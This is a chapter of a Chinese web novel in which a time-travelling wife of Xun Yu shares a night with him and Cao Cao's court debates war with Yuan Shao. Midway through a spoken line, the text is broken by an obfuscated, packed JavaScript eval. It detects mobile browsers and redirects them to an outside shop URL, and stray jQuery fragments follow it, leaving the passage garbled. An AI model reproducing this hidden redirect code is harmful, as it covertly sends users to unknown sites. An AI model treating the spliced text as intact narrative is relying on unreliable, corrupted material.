52. 讨袁

作品:《曹魏两丽

    这一夜,唐袖与荀彧说了许多未来过年的习俗,从压岁钱讲到穿新衣、守岁。


    可惜,穿新衣已来不及,但是守岁,夜还漫长。


    唐袖被荀彧抱着,放到床榻上的时候,脑袋晕晕乎乎的,只觉得自己是不是太冲动,怎么就又……


    “唔。”荀彧吻上她的唇齿,除去湿热和满溢的兰芷气味,还有淡淡的酒香。


    唐袖似是被灌醉了,顾不得再思考,横亘在她与荀彧之间千年的距离、因身份地位的参差导致礼仪规矩的相去甚远。


    他们只是一对渐有些生涩,且迫切想拥有彼此的夫妻。


    荀彧的吻细细的、很轻柔,由唇齿往上,至鼻尖、额首,又自此往下,顺着耳垂、颈项。


    到俩人都褪去衣衫,那原本细密的吻,忽又变得暴风骤雨一般。


    一夜贪欢。


    翌日,唐袖率先醒来,望着枕边人与榻上的褶皱和狼藉,不禁开始懊悔:这算什么呢?若是从前,她自可以毫无顾忌地当作为求生存或者泄欲,而尽的妻子的义务。


    可现今,她和荀彧都说开了。俩人之间没有情爱,又时隔数多个月,怎么还能鬼使神差地滚到一起去。


    唐袖悄悄地越过荀彧,想要起榻。


    然而,就在她刚拨开床幔的一瞬,腰上一紧。接着,天旋地转,自己重新躺回到榻上,以及有个高大的身影铺天盖地地倾轧下来。


    “那那那、那个,文若,时辰不早,该起了。”唐袖紧张得嗓音发颤,双手抬起,死死地抵着面前高大身影的胸膛。


    荀彧闻言,还真就顺着她的话,探首向帐外望了望,而后,回到帐内,垂首瞧身下人,一派稀松平常地温和回答:“还早。”


    话罢,他又去亲吻唐袖的眉眼。


    唐袖想推开,又不好意思太使力,把场面弄得难看。


    半推半就着,荀彧倏尔意味深长地说道一句:“阿袖,我们是夫妻。往后还有数十年要一起过,难道一直别扭下去,貌合神离,或者再不亲近,从此同床异梦?”


    此言一出,唐袖半推的手僵住。


    是啊,他们至少还是夫妻。最开始,她不是也同荀彧说了,因为有夫妻之情,他们才会孕育俣俣和窈窈,以及肢体亲近。


    若说刚穿越的时候,唐袖还想过要离开。那么现在,她更想与荀彧好好地过日子。纵然此生再不会有真正相爱的人,只要荀彧不背叛自己,为了安宁舒适的生活、为了俣俣和窈窈有父亲,她会留在荀彧身边。


    只须臾,唐袖反手搂上荀彧的颈脖,主动献吻。


    行房便行房,谁怕谁啊?这事也不是只有荀彧一个人享受,自己还不用使力做动作,明明更舒服、闲适才对。


    况且他们都有俣俣和窈窈,老夫老妻,装什么尴尬、羞涩?


    唐袖的主动,很快引得荀彧的掠夺变本加厉。


    到俩人都冲上云端,又在云层上漂浮半晌。


    唐袖昏昏沉沉之间,依稀听见荀彧说:“为何你我不能由夫妻之情生出男女之情?”


    唐袖想,自己应当是在做梦,或者幻听。


    唐袖睡了过去。


    年节过后,许都城中依旧有诸多事宜,荀彧和郭嘉都忙碌起来。就连刚刚投靠曹操的陈群,也常见不到人影。


    因去岁,曹操攻克宛城张绣与下邳吕布,除河北以外,北部中原几乎一统。


    天子与朝臣们无不意识到,如今的曹操在这九州之内已几乎无人可敌。若说还有什么人,那便是拥有河北之地的袁绍。


    不少朝臣开始暗自与袁绍通信,并在庙堂之上控诉曹操权柄过盛、藐视皇威。


    曹操并不与他们虚与委蛇,当即呈报奏疏,欲让出司空之位。


    可曹操真要让了,众朝臣们又惶惶不能接受:一者,怕曹操说假话,实则会在退位之后,对逼迫之人赶尽杀绝;二者,曹操若是真退了,在袁绍到来之前,是否会有其他势力前来攻占许都?


    最后的结果,陛下力压群臣,大赞曹操乃汉室之肱股。并因去岁有功,更欲加赐食邑三千户。


    曹操固辞不受。


    朝臣们几番规劝,末了,就连天子都亲自唤曹操入宫言说此事。


    既无旁人在,曹操客套之后,朗笑道:“陛下以为吾如今还差食邑与钱银吗?吾尽拥青州、兖州,更是官至司空,若非更高更盛的权柄,于吾再无意义。”


    语毕,只稍一拱手,便径直退离大殿。


    曹操他未得皇命便擅自离开;面对天子不以臣称;位居司空仍不知足……如此种种,只叫年轻的天子心中警铃大作。


    难道曹操想要践越国祚?


    天子紧急召董美人之父董承进宫议事。


    而曹操并不知晓,或者说根本不在意天子这些心思和作为,一心只想踏足河北,彻底统一北方中原。


    统一北方唯一的办法就是,打败河北袁绍,将他及其子孙永永远远地赶出冀州。


    可是,袁绍四世三公之家的根基还在。


    司空府,议事堂。


    曹操与众臣说起欲起兵攻打袁绍之事。


    少府孔融制止道:“主公难道不知袁本初兵强且地广,而我等兵弱且地薄。更何况,袁本初麾下,有忠臣良将辅佐。文田丰、许攸可出谋划策,审配、逢纪忠贞不二;武颜良、文丑冠绝三军。吾等欲败袁绍,实难以。”


    这些正也是曹操担心的地方。


    尽管早先荀彧和郭嘉都说过,自己无论知人善用、还是赏罚分明,都要远胜袁绍。


    但是,瘦死的骆驼比马大。袁本初再是刚愎自用,只要他还没到昏聩的地步,麾下众多良佐,总有那么一两个能定克敌之策、能统克敌之军。


    那是他们动动手指就能办到的事情。再观自己麾下,兵力微弱,纵然文有荀彧、郭嘉、荀攸、程昱和贾诩,武有曹仁、曹真、许褚、夏侯惇。可是把他们全都加上,难道就能抵袁绍多出来的几十万乃至百万的大军吗?


    曹操陷入失意之中,就连头疾都隐隐作痛。


    堂下一时皆是反战之声。


    吵得曹操快要晕厥过去。倏尔有一个清明、疏朗之音,不慌不忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586374|182218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地开口:“回禀主公,臣以为不然。”


    曹操纵目望向堂下站出来的那人。


    锦衣绣袍、环佩叮当。


    那人举手投足皆是端方君子之态,有条不紊地继续说:“袁绍虽兵众但令不肃。其臣下田丰刚而犯上,许攸贪而不治。审配专而无谋,逢纪果而自负。此二人留之后方,若许攸之家眷触犯律法,必不能放过、纵容。许攸必会因此而反。至于颜良、文丑,匹夫之勇,若使夏侯、许褚将军之类,定能一战擒之。”


    此话一出,被提及的夏侯惇和许褚纷纷应声:“主公,不过是颜良、文丑,我等有信心在五十回合之内将其斩落马下。还请主公勿要迟疑,起兵攻袁,势在必得。”


    曹操的面上总算流露一抹欣慰。


    整个人都精神起来,脑子不昏、头也不疼了。


    郭嘉在堂下,与曹操异口同声:“文若,说得好!”


    那站出来的非是别人,正是荀彧。


    荀彧不卑不亢,认真地注视曹操,郑声:“只要主公能耐得住袁绍的搓磨,须知这实力虽盛却终将毁于不善用,待熬过袁绍大军士气正炽之时,定能一举反攻、大获全胜。”


    “好好好,夏侯惇、许褚——”曹操声若洪钟。


    “末将在。”


    “即刻点兵,随时准备出征袁绍!”


    “是!”


    “郭嘉、程昱、荀攸。”曹操继续点名,“此次一战,你们三位随我出征。不过,在出征之前,郭嘉、程昱即刻前往城外粮仓清点粮草。”


    郭嘉有些迟疑,但转瞬还是随程昱和荀攸一起,拱手回答:“谨遵主公之命。”


    从议事堂出来之后,郭嘉唉声叹气。


    荀彧和他一道归家,见状,笑问:“是在因为不知该如何与姜夫人说,而痛苦为难吗?”


    郭嘉没好颜色地瞥荀彧:“明知故问。你如今是好起来,日日夜夜留守许都,都不用随军出征。你家阿袖自然不会因此失落、难过,乃至哭鼻子。”


    说到这个,荀彧倒是怅然若失起来:“若我出征,阿袖她也未必会失落、难过,更不必说哭泣。”


    郭嘉这下高兴了,转哀为笑,指着荀彧:“荀文若啊荀文若,没曾想你年岁比我大、阅历比我多、受恩比我久,这到了夫妻之事上还不如我。至少我家夫人真心悦我,对我好,为我操心、忧虑。”


    荀彧语塞、沉默。


    郭嘉未免太得意了些。


    荀彧随后又道:“回去,我便会将此事告知阿袖。至于阿袖会不会在你之前说与姜夫人听就不知晓了。”


    荀彧径直往司空府外走去。


    郭嘉快步在后面追,厉声:“荀文若!”


    而在荀府中,唐袖与姜袂对坐着,正在发呆。


    姜袂喋喋不休:“你这新章节就写了这么点?倒是快写啊。我追文追得都快抓耳挠腮。”


    眼见唐袖不搭理自己,姜袂大声地唤:“袖袖、唐袖、阿袖……”


    可唐袖的脑海里只有那么一句:“为何你我不能由夫妻之情生出男女之情”。